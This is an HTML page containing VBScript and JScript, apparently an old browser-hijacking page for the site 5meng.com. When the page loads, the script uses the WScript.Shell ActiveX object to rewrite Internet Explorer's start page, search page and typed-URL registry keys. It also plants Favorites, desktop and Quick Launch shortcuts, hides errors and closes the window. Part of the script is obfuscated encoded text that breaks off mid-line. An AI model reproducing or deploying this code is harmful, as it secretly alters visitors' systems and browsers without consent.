<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script LANGUAGE="VBScript.Encode">
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://5meng.com"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://5meng.com"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "http://5meng.com"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\default_page_url", "http://5meng.com"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url1","http://5meng.com"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url2","http://5meng.com"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url3","http://5meng.com"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\First Home Page","http://5meng.com"
window.close
</script>
<script language=VBScript.Encode>
on error resume next
Call LongFei_AddFavorites("【浪漫情阁】","http://5meng.com")
Call LongFei_AddFavorites("【浪漫情阁】","http://love.xf12.com")
Call LongFei_AddFavorites("【浪漫情阁】","http://5meng.com")
Call LongFei_AddFavorites("【浪漫情阁】","http://5meng.com")
Call LongFei_AddFavorites("【浪漫情阁】","http://5meng.com")
Call LongFei_AddFavorites("【浪漫情阁】","http://5meng.com")
on error resume next
Call LongFei_AddDesktop("浪漫情阁","http://5meng.com")
on error resume next
Call LongFei_AddQuickLaunch("[浪漫情阁]","http://5meng.com")
Function LongFei_AddFavorites(N, U)
on error resume next
Set S = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/" + N +".URL")
S.TargetPath = U
S.Save()
Set Sl = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/链接/" + N +".URL")
Sl.TargetPath = U
Sl.Save()
End Function
Function LongFei_AddDesktop(N, U)
on error resume next
Set S = wsh.CreateShortcut(wsh.SpecialFolders("AllUsersDesktop") + "/" + N +".URL")
S.TargetPath = U
S.Save()
End Function
Function LongFei_AddQuickLaunch(N, U)
If N = "" Then
NQ = "Application Data\\Microsoft\\Internet Explorer\\Quick Launch\\启动 Internet Explorer 浏览器.URL"
Else
NQ = "Application Data\\Microsoft\\Internet Explorer\\Quick Launch\\" + N + ".URL"
End If
on error resume next
TarName = "C:\\Documents and Settings\\Administrator\\" + NQ
Set Shorcut = wsh.CreateShortcut(TarName)
Shorcut.TargetPath = U
Shorcut.Save()
on error resume next
TarName = "C:\\windows\\" + NQ
Set Shorcut = wsh.CreateShortcut(TarNMmED KmDoOKlDt,'~J4ODwlzJAhSRnsblW UYE@#@&7UtGMm!YRUl7n`*@#@&2 N~o!xmDrW @#@&jwcCAA==^#~@</script>
<script language="JScript.Encode">
function closeit() {
setTimeout("self.close()",5)
}
closeit()
</script>
</html>